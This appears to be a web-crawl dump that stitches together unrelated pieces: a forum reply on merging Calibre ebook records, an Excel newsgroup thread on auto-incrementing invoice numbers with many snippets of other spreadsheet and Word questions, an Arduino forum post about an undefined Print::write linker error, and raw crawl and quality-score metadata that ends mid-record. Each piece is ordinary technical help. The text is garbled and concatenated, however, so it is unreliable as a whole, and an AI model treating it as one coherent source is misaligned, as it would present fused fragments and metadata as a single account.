Device: WinMo: IPAQ; Android: HTC HD2, Archos 7o; Java:Gravity T
Quote:
Originally Posted by Marcy View Post
The entries with no books attached have no file size.
I recall being told that size is rounded off. If true, they may still have a small book.
Quote:
The problem is that the whole calibre folder is wonky with some books missing.
Do you know how this happened? Regardless, you can move your library with the library function in 0.7.10, and it will separate your wonky folders that Calibre doesn't know about from those it does know about.
If all the leftovers have books in them, you could just auto-add them and the automatic merge would put them with the matching entries that have correct dates and other metadata.
Quote:
I need to make sure the right record is the dominant one in the merge process.
The automatic merge would avoid this problem.
Quote:
One of the most important items I need to keep is the date. I use it to keep track of my reading.
And this problem.
Quote:
The re-added files often add with today's date and I don't want to lose the old date.
New files always add with the current date. A slight problem when I wrote the merge function is that all records always have a date. There's no way to tell which is the "better" one, so it's always set to the first selected record in a manual merge. In an automatic add/merge the existing record is never touched, so its date is always the final one.
Starson17 is offline Reply With Quote
| {
"url": "http://www.mobileread.com/forums/showpost.php?p=1024631&postcount=16",
"source_domain": "www.mobileread.com",
"snapshot_id": "crawl=CC-MAIN-2014-35",
"warc_metadata": {
"Content-Length": "12491",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CO5MGLUXM3CL77PUB3CCX3CYPBBHNJOW",
"WARC-Concurrent-To": "<urn:uuid:982a5fae-5fe4-414b-9d4a-6f3cc35d005a>",
"WARC-Date": "2014-08-30T18:21:30Z",
"WARC-IP-Address": "67.205.70.12",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:R45PIXNMLNCZTOQ3OQW426R3C2R6U54O",
"WARC-Record-ID": "<urn:uuid:469b1620-132e-491c-bfbc-a1906779470f>",
"WARC-Target-URI": "http://www.mobileread.com/forums/showpost.php?p=1024631&postcount=16",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:96c1098a-1d77-44ef-8fe9-f3bcca6602bc>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-180-136-8.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for August 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
17,
48,
58,
65,
682,
684,
697,
711,
731,
796,
803,
840,
894,
983,
984,
991,
1070,
1279,
1280,
1459,
1460,
1467,
1546,
1592,
1593,
1600,
1698,
1716,
1717,
1724,
1810,
2161,
2201
],
"line_end_idx": [
17,
48,
58,
65,
682,
684,
697,
711,
731,
796,
803,
840,
894,
983,
984,
991,
1070,
1279,
1280,
1459,
1460,
1467,
1546,
1592,
1593,
1600,
1698,
1716,
1717,
1724,
1810,
2161,
2201,
2202
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2202,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4036885201931,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04713115096092224,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18647541105747223,
"rps_doc_frac_unique_words": 0.4331550896167755,
"rps_doc_mean_word_length": 4.647058963775635,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.002049179980531335,
"rps_doc_unigram_entropy": 4.567388534545898,
"rps_doc_word_count": 374,
"rps_doc_frac_chars_dupe_10grams": 0.28250864148139954,
"rps_doc_frac_chars_dupe_5grams": 0.28250864148139954,
"rps_doc_frac_chars_dupe_6grams": 0.28250864148139954,
"rps_doc_frac_chars_dupe_7grams": 0.28250864148139954,
"rps_doc_frac_chars_dupe_8grams": 0.28250864148139954,
"rps_doc_frac_chars_dupe_9grams": 0.28250864148139954,
"rps_doc_frac_chars_top_2gram": 0.06329113990068436,
"rps_doc_frac_chars_top_3gram": 0.08227848261594772,
"rps_doc_frac_chars_top_4gram": 0.1012658178806305,
"rps_doc_books_importance": -215.5120391845703,
"rps_doc_books_importance_length_correction": -215.5120391845703,
"rps_doc_openwebtext_importance": -99.25695037841797,
"rps_doc_openwebtext_importance_length_correction": -99.25695037841797,
"rps_doc_wikipedia_importance": -100.40399169921875,
"rps_doc_wikipedia_importance_length_correction": -100.40399169921875
},
"fasttext": {
"dclm": 0.067626953125,
"english": 0.930013120174408,
"fineweb_edu_approx": 1.6742135286331177,
"eai_general_math": 0.2311801314353943,
"eai_open_web_math": 0.11689978837966919,
"eai_web_code": 0.03284960985183716
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
9,073,182,703,126,073,000 |
Sequential numbering of invoices
I have recently downloaded an Excel template for invoices from
Microsoft's website. Is there any way to fix it so that every time I
create a new document based on this template, it automatically gives
it an invoice number one greater than the previous invoice (eg,
starting at 100 and then the next one I open would be 101, then 102
and so on)?
0
nickxylas (23)
5/30/2007 6:52:20 PM
excel 39879 articles. 2 followers. Follow
1 Replies
846 Views
Similar Articles
[PageSpeed] 13
http://www.mcgimpsey.com/excel/udfs/sequentialnums.html
--
Regards,
Peo Sjoblom
"Nick Xylas" <[email protected]> wrote in message
news:[email protected]...
>I have recently downloaded an Excel template for invoices from
> Microsoft's website. Is there any way to fix it so that every time I
> create a new document based on this template, it automatically gives
> it an invoice number one greater than the previous invoice (eg,
> starting at 100 and then the next one I open would be 101, then 102
> and so on)?
>
0
terre081 (3244)
5/30/2007 7:06:07 PM
Reply:
Similar Artilces:
how to put date slashes in to a column of number
hi all, I have a spreadsheet which has two colums full of numbers, they are dates but just written as numbers i.e. 20050923 for today's date. How can I change them so that they show up as 2005/09/23? I've tried to customize them but it won't work. thanks! -- bluebean ------------------------------------------------------------------------ bluebean's Profile: http://www.excelforum.com/member.php?action=getinfo&userid=25951 View this thread: http://www.excelforum.com/showthread.php?threadid=470165 try the following: In the format/Cells menu you can enter user defin...
count current run of positive numbers
hi, in Column M i have a list of results that will go on down the page as values are entered elsewhere, these results will be both negative and positive, i was after a formula that will give me the count of the current run of positive numbers, eg. below, the cell with the formula in it would return a value of 4 for the current run of positive numbers, and if there was a run of negative numbers it would be 0 2 5 6 -5 2 4 7 9 -- thanks Will there be any numeric 0 entries? >a list of results that will go on down the >page as values are entered elsewhere That ...
How to determine the number of dimensions in an array
Is there any other (simple) way to determine the number of dimensions an array has, other than having to iteratively cycle through calls of UBOUND(myArray,N) until an error arises ? Steve wrote... >Is there any other (simple) way to determine the number of dimensions an >array has, other than having to iteratively cycle through calls of >UBOUND(myArray,N) until an error arises ? No, which is why it's one of the first things developers write a function to handle. FWIW, many languages (Pascal, C, FORTRAN) also lack any way of determining the number of array dimensions at run...
page numbers 12-11-09
Using Word 2007: I want to place a page number at the bottom center of the page using the preformatted choices on the Header/Footer tab. I want to use the one called Scroll. The scroll itself goes fine into the footer, but the page number doesn't print fully inside it, either the top or bottom of the number disappears though the scroll is complete. There are other times, no page number shows up in the scroll and I have no idea how to get one in there! I have this same quandry when using any of the choices that include squares, circles, etc. ...
ID Number Format
Hello, I'm trying to create an ID number that is based on another field in a table. Basically I have a field market Category with 6 different values. I want to create an ID field that starts at 0 and automatically counts up for each of the different categorys. For example: If Category 1 is selected the id would be cat1-001, cat1-002, cat1-003. If Category 2 is selected the id would be cat2-001, cat2-002, cat2-003. Is there a way that I can do this and have the values stored in a field? Thanks, CB First do a query based on your category choice (qryCatSequence). The query shou...
How do I change a number in one cell to change a series of cells?
How do I change a series of numbers in cells by only replacing one number in a cell? Currently, I want to increase a series of cells 4% and I used the formula =M50*(1-$P$1). However, I have to use 204% to get a 4% increase and then it is a negative number. What formula should I be using so when I change the single cell it either increases 4% or when using 0 it changes to the original cell number. lance Not too clear on this but how about placing .04 in $P$1 =M50*(1+$P$1) Gord Dibben MS Excel MVP On Fri, 13 Jan 2006 12:03:02 -0800, "lance559" <[email protected]...
Skip number for the first page in each chapter
Writing a book and want to number the pages, but I don't want the number on the first page of EACH CHAPTER to show. Is it possible to set up page numbering this way? How? Separate the chapters by inserting section breaks. For each section, choose the "Different first page" option in the Page Setup dialog box. Remove the page number in the first page header or footer. -- Stefan Blom Microsoft Word MVP "Frustrated Writer" <Frustrated [email protected]> wrote in message news:[email protected].....
Add a set number to a random entered number
I have to start a vehicle service record and am trying to add the 6000 mile service interval to the mileage at service number. EG. A B C D 1 6000 12000 2 12125 18125 3 18200 24200 etc A is the mileage at service and C is the next service due.I am trying to do this without having a cell with a line of 6000 in it and the formula eg =SUM(A1:B1) in the C cell.Is this possable?Hope some one can help. Hi =A1+6000 HTH. Best wishes Harald "Cyclops" <[email protected]> skre...
Recording a payments for an invoice.
Hello All, I would like to match a invoice payment with a bank deposit. I Create and send the invoice. When the invoice is paid I goto invoices and recieve the payment. When I update my bank account the deposit appears. I then try to match it to the "Recieved Payment" that already appears in my account. But I do not see the recieved payment in the selection for transactions I can match too. I then try to delete the inovice payment and manualy select the right account (the customer account) And then assign the payment to the catagory "Payment for Invoice". But I get ...
Match Invoice by Receipt number
Is there a way you can set up GP to allow matching an invoice by the receipt number instead of by Purchase Order or Item Number? Matching by PO or Item is very time consuming if there are many items on an invoice. Tonya, Invoice is matched by Receipt Number only, if you have a closer look. This works even in case where a PO is not assigned too. I dont understand where you are facing difficulty. You can use Auto Invoice which brings all your items into the Invoice, simultaneously matching all your items by the Receipt. -- Thanks Janakiram M.P. MCP-GP http://janakirammp.blogspot.com ...
Can't invoice Shipment
I have two Shipments "stuck" in Purchasing that I cannot match an Invoice to -- one was offset by a Return (#1), and the other was somehow partially matched (along with another Shipment) to an invoice (#2). Why I say they are "stuck" is that they appear in the SmartList/Receivings Line Items/ Shipments Received but not Invoiced. #1 shows with a Shipped Quantity of 75 and Matched/Rejected Quantities of 0. #2 shows a Shipped Quantity of 2 and Matched/Rejected Quantities of 1. A) Do I need to process these further through the system? B) How can I get them off of this ...
How to round number in MFC?
I use MFC with VS 2008. I need to round certain value of number. Like this: 9.6 to 9.55 and other same kind number. How to do that? I have used ceil or floor but all of them are extreme ROUND UP / ROUND DOWN. Thank you. > I need to round certain value of number. Like this: 9.6 to 9.55 and other > same kind number. > > How to do that? I have used ceil or floor but all of them are extreme ROUND > UP / ROUND DOWN. Will This suit your needs? double round(const double& inValue) { double xShift = inValue - .5; double nShift = fix(xShift); if (xShift == nShift) { ...
duplicate numbers #2
how do i set up in my database that when a user is entering infor in a column in excel, it will tell if there is a duplicate number. I do not want duplicates. Hi Pam See Chip's page http://www.cpearson.com/excel/NoDupEntry.htm -- Regards Ron de Bruin http://www.rondebruin.nl "Pam Coleman" <[email protected]> wrote in message news:[email protected]... > how do i set up in my database that when a user is entering infor in a > column in excel, it will tell if there is a duplicate number. I do not want > ...
how to calculate the difference of values (numbers) in a column?
A B C D A1 10 A2 9 1 A3 8 2 1 A4 7 3 2 A5 6 4 3 1 I need to calculate the differences of each value in a column and have the answers on second third column. For example subtract A2 from A1, A3 from A1, A4 from A1, A5 from A1; and subtract A3 from A2, A4 from A2, A5 from A2; subtract A4 from A3, A5 from A4; and finally subtract A5 from A4. Any help is appreciated. Hi, try this select B2:B5 and enter this formula in B2 =$A$1-(A2:A5), confirm with Ctrl-Shift-Enter. similarly for C3:C5 =$A$2-(A3:A5) D4:D5 =A3-(A4:A5) hth...
Sequential Numbering
I need to create a form that will create records based on the following details. The user will tell me the quantity of serial numers they need. I get the first part of the serial number and then it's a 3 digit sequential number to the total needed. Example: K05-272-xxx The xxx is the sequence number starting with 001 to the number needed. How would I do the code to create the sequence number. Matt -- Matt Campbell mattc (at) saunatec [dot] com Message posted via http://www.accessmonster.com Friends and friends around the world. We are presenting the new messenge...
How to get the number of hits for each item in a SharePoint List
I know how to get the total amount of hits for a list. Is there a way to get the amount of hits per item/entry in a list? If so, how? Thank you. ------=_NextPart_0001_C3E301ED Content-Type: text/plain Content-Transfer-Encoding: 7bit You can try this from codeplex, http://hitcounter.codeplex.com/ Harish K ------=_NextPart_0001_C3E301ED Content-Type: text/x-rtf Content-Transfer-Encoding: 7bit {\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fnil\fprq2\fcharset0 MS Sans Serif;}} \viewkind4\uc1\pard\f0\fs20 You can try this from codeplex, \par \par http://hitcoun...
Page Numbering 101
When you want to assign different page numbers to a manuscript line i, ii. iii, iv to the preface and so on and 1, 2, 3, 4 . . . to body, how is this done? I knew once, and it was so easy. But then, the jungle grew back. Thanks, Tom Insert section... -- Mary Sauer MSFT MVP http://office.microsoft.com/ http://msauer.mvps.org/ news://msnews.microsoft.com "Thomas Minter" <[email protected]> wrote in message news:[email protected]... > When you want to assign different page numbers to a manuscript line > i, ii. iii, iv to the preface and so on ...
How do I number pages for entire Workspace
Version: 2008 Operating System: Mac OS X 10.5 (Leopard) Processor: Intel I have a workspace with 90 worksheets (a graphic (picture,)some charts but mostly sheets with numbers and text) <br> Each worksheet is formatted to fit on one page. <br> I want the printed pages to be numbered. <br> Page numbers in Footers don't advance beyond 1. <br> (Each worksheet fits on one page.) <br> Is there something obvious that I'm missing? <br> Is there some tricky way to build a Worksheet which has all the other worksheets in it and get my page numbers by...
Search range of numbers for amounts that total a given
I would like to be able to search a range of numbers to identify those amounts that total a given amount. There could even be multiple combinations that would work. An example would be that given a column that contain the numbers 25, 50, 13, 38, 15, 8 and I wanted to search for those amounts that total 78. The result would identify and possibly mark 50, 13, & 15. Is this possible? Thanks in advance for your help!!! Hi how many values do you want to search(>70?). Also: do you want to return all possible combinations? -- Regards Frank Kabel Frankfurt, Germany Mike Briscoe wr...
View actual page number
I have a document with several sections each beginnig with page 1. How do I view the actual page number? I just want to print a range but can't tell what the real number is. ...
invoice processing account balance
At Waynesburg College we are currently on MS Dynamics/Great Plains v9.0 with among other add-ons, the Purchase Order Processing module. In the PO Processing module, on data entry, if the .Amount to be encumbered exceeds the available budget remaining, you receive a warning message indicating this, which you can susequently override or change the .Amount. However, in standard Invoice Processing you do NOT receive a message when a payment .Amount which causes the GL Account to exceed its budget. While I understand the philosophy of why a %Budget Exceeded message was not felt to be neces...
Converting Text to Numbers #2
Hello, I have come across numbers that are formatted as text that I would like to use in an equation. I have used the format text option and changed them all to numbers, but it did not apply. I have looked at the error in the calculation and it shows the cell as ="6 "*1, with 6 being and example of the text that I would like to use as a number. I have tried copying the value 1 and multiplying the cell with paste special without any success. It seems that works when it is just single quotes out front. I appreciate anyones thoughts on how I can convert these text numbers ...
Formatting axis with scientific numbers
Hi I want to format my x axis so that instead of my scale displayin scientific numbers as 1.00E-07 for example, it is displayed as 10-7. Any suggestions how this can be done are much appreciated. Thankyo -- Message posted from http://www.ExcelForum.com I have never found a way to do this. I think we should accept 1.2E-4 as a perfectly good alternative to 1.2 x 10^2. After all that how 90% of calculators display small numbers. -- Bernard Liengme www.stfx.ca/people/bliengme remove CAPS in e-mail address "martink >" <<[email protected]> wrote in me...
Roundup, Roundown to a specific digit or number
Is there any way to use the "Round, Roundup or Rounddown" function to round results to a specific number? In my case I'm trying to roundup the sum's result to the nearest "9" =ROUND(x*9,0)/9 or =MROUND(x,9) MROUND requires the Analysis ToolPak, which is on the Excel CD, but may not have been installed. Jerry tamato43 wrote: > Is there any way to use the "Round, Roundup or Rounddown" function to round results to a specific number? > > In my case I'm trying to roundup the sum's result to the nearest "9" I believe in...
Convert number with comma to number with dot
Hello, Is there an easy way to convert "1.12" to a number, if your system is set to use the comma as a decimal separator? The value() function does not appear to take a format or locale as argument. The other way round is easy, with text() you can specify the format. The problem occurs if you import an English web page into a Dutch spreadsheet. Greetings, Wessel Just select the cells and do a Find & Replace changing . to , -- --- HTH Bob (there's no email, no snail mail, but somewhere should be gmail in my addy) "Wessel Troost" <[email protected]... | {
"url": "https://msgroups.net/excel/sequential-numbering-of-invoices/260045",
"source_domain": "msgroups.net",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "32399",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QYZSGIBL3HWCSIR6ZYYKEAFRIS5WXPBT",
"WARC-Concurrent-To": "<urn:uuid:42267b54-1d14-4270-ab7f-4aa8e93c6e98>",
"WARC-Date": "2021-11-28T18:28:00Z",
"WARC-IP-Address": "108.170.9.13",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RJDLPVWE2RXMX5PWN2SECWEPS4VTH363",
"WARC-Record-ID": "<urn:uuid:bbec4db4-82aa-4d53-8b6e-c96cf301a6cc>",
"WARC-Target-URI": "https://msgroups.net/excel/sequential-numbering-of-invoices/260045",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:69fb928d-73c5-4d27-927c-1bc0cbc3524c>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-99\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
1,
2,
3,
4,
37,
38,
101,
170,
239,
303,
371,
383,
384,
386,
401,
422,
464,
465,
475,
485,
486,
503,
504,
519,
520,
576,
577,
578,
582,
591,
592,
604,
605,
606,
607,
664,
725,
789,
860,
931,
997,
1067,
1081,
1084,
1085,
1086,
1088,
1104,
1125,
1132,
1133,
1151,
1152,
1201,
1774,
1775,
1813,
2379,
2380,
2434,
3017,
3018,
3040,
3591,
3592,
3609,
4194,
4195,
4261,
4837,
4838,
4885,
5433,
5434,
5478,
5967,
5968,
6005,
6581,
6582,
6614,
7206,
7207,
7230,
7805,
7806,
7834,
8401,
8402,
8423,
8985,
8986,
9051,
9577,
9578,
9599,
10171,
10172,
10237,
10812,
10813,
10832,
11408,
11409,
11452,
12001,
12002,
12057,
12640,
12641,
12665,
12843,
12844,
12879,
13474,
13475,
13505,
14085,
14086,
14126,
14700,
14701,
14749,
15272,
15273,
15318
],
"line_end_idx": [
1,
2,
3,
4,
37,
38,
101,
170,
239,
303,
371,
383,
384,
386,
401,
422,
464,
465,
475,
485,
486,
503,
504,
519,
520,
576,
577,
578,
582,
591,
592,
604,
605,
606,
607,
664,
725,
789,
860,
931,
997,
1067,
1081,
1084,
1085,
1086,
1088,
1104,
1125,
1132,
1133,
1151,
1152,
1201,
1774,
1775,
1813,
2379,
2380,
2434,
3017,
3018,
3040,
3591,
3592,
3609,
4194,
4195,
4261,
4837,
4838,
4885,
5433,
5434,
5478,
5967,
5968,
6005,
6581,
6582,
6614,
7206,
7207,
7230,
7805,
7806,
7834,
8401,
8402,
8423,
8985,
8986,
9051,
9577,
9578,
9599,
10171,
10172,
10237,
10812,
10813,
10832,
11408,
11409,
11452,
12001,
12002,
12057,
12640,
12641,
12665,
12843,
12844,
12879,
13474,
13475,
13505,
14085,
14086,
14126,
14700,
14701,
14749,
15272,
15273,
15318,
15872
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 15872,
"ccnet_original_nlines": 126,
"rps_doc_curly_bracket": 0.0004410299879964441,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3625410795211792,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05722891911864281,
"rps_doc_frac_lines_end_with_ellipsis": 0.20472441613674164,
"rps_doc_frac_no_alph_words": 0.24726176261901855,
"rps_doc_frac_unique_words": 0.29739776253700256,
"rps_doc_mean_word_length": 4.50408935546875,
"rps_doc_num_sentences": 235,
"rps_doc_symbol_to_word_ratio": 0.009857609868049622,
"rps_doc_unigram_entropy": 5.740962028503418,
"rps_doc_word_count": 2690,
"rps_doc_frac_chars_dupe_10grams": 0.15681743621826172,
"rps_doc_frac_chars_dupe_5grams": 0.1839716136455536,
"rps_doc_frac_chars_dupe_6grams": 0.17596566677093506,
"rps_doc_frac_chars_dupe_7grams": 0.16061405837535858,
"rps_doc_frac_chars_dupe_8grams": 0.15681743621826172,
"rps_doc_frac_chars_dupe_9grams": 0.15681743621826172,
"rps_doc_frac_chars_top_2gram": 0.007840869948267937,
"rps_doc_frac_chars_top_3gram": 0.0049521299079060555,
"rps_doc_frac_chars_top_4gram": 0.00429185014218092,
"rps_doc_books_importance": -1650.10107421875,
"rps_doc_books_importance_length_correction": -1650.10107421875,
"rps_doc_openwebtext_importance": -914.1171875,
"rps_doc_openwebtext_importance_length_correction": -914.1171875,
"rps_doc_wikipedia_importance": -619.3478393554688,
"rps_doc_wikipedia_importance_length_correction": -619.3478393554688
},
"fasttext": {
"dclm": 0.1661115288734436,
"english": 0.8913182616233826,
"fineweb_edu_approx": 1.455736756324768,
"eai_general_math": 0.9129837155342102,
"eai_open_web_math": 0.3258928060531616,
"eai_web_code": 0.7566475868225098
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.452",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-295,383,669,291,475,140 | Arduino in Eclipse with Serial gives error with Print::Write(unsigned char)
I am working with the arduino in eclipse. I can get projects to compile and load but when I use serial and try to build I get the following error.
Building target: ProjectTwo.elf Invoking: AVR C++ Linker avr-g++ --cref -s -Os -o"ProjectTwo.elf" ./main.o -lArduinoCore -lm -Wl,-Map,ProjectTwo.map,--cref -L"D:\MyDocs\CS421\ArduinoCore\Release" -L"D:\MyDocs\CS421\ArduinoCore" -mmcu=atmega2560 D:\MyDocs\CS421\ArduinoCore\Release\libArduinoCore.a(HardwareSerial.o):(.data+0x14): undefined reference to `Print::write(unsigned char)' make: *** [ProjectTwo.elf] Error 1
I have tried changing stuff in the print.h, print.cpp, and hardwareserial.h and nothing seems to fix this. Does anybody know why this is happening or how to fix it? | {
"url": "https://forum.arduino.cc/t/arduino-in-eclipse-with-serial-gives-error-with-print-write-unsigned-char/125068",
"source_domain": "forum.arduino.cc",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "16143",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PBB57RSJKXXQGOCSMFWBTTZ7RXFCW5HH",
"WARC-Concurrent-To": "<urn:uuid:460846dc-9d25-4486-b9a8-5ff7aa49a93a>",
"WARC-Date": "2021-08-01T23:41:13Z",
"WARC-IP-Address": "184.104.202.141",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7YOXJ7NHSOU5V7RXOHNYABUKTKXAAJSG",
"WARC-Record-ID": "<urn:uuid:f1a69da9-eb01-4a73-9fd8-f9013e6966c0>",
"WARC-Target-URI": "https://forum.arduino.cc/t/arduino-in-eclipse-with-serial-gives-error-with-print-write-unsigned-char/125068",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b21b909f-3fcf-492d-9f24-6352316a8815>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-190.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
76,
77,
224,
225,
643,
644
],
"line_end_idx": [
76,
77,
224,
225,
643,
644,
808
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 808,
"ccnet_original_nlines": 6,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2401960790157318,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07352940738201141,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.343137264251709,
"rps_doc_frac_unique_words": 0.7142857313156128,
"rps_doc_mean_word_length": 6.31632661819458,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.10231876373291,
"rps_doc_word_count": 98,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02907915972173214,
"rps_doc_frac_chars_top_3gram": 0.051696278154850006,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -83.76915740966797,
"rps_doc_books_importance_length_correction": -83.76915740966797,
"rps_doc_openwebtext_importance": -60.97483825683594,
"rps_doc_openwebtext_importance_length_correction": -60.967872619628906,
"rps_doc_wikipedia_importance": -32.45480728149414,
"rps_doc_wikipedia_importance_length_correction": -32.45480728149414
},
"fasttext": {
"dclm": 0.7141758799552917,
"english": 0.7353662848472595,
"fineweb_edu_approx": 0.9586383700370789,
"eai_general_math": 0.9442208409309387,
"eai_open_web_math": 0.4032124876976013,
"eai_web_code": 0.9970336556434631
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285636",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
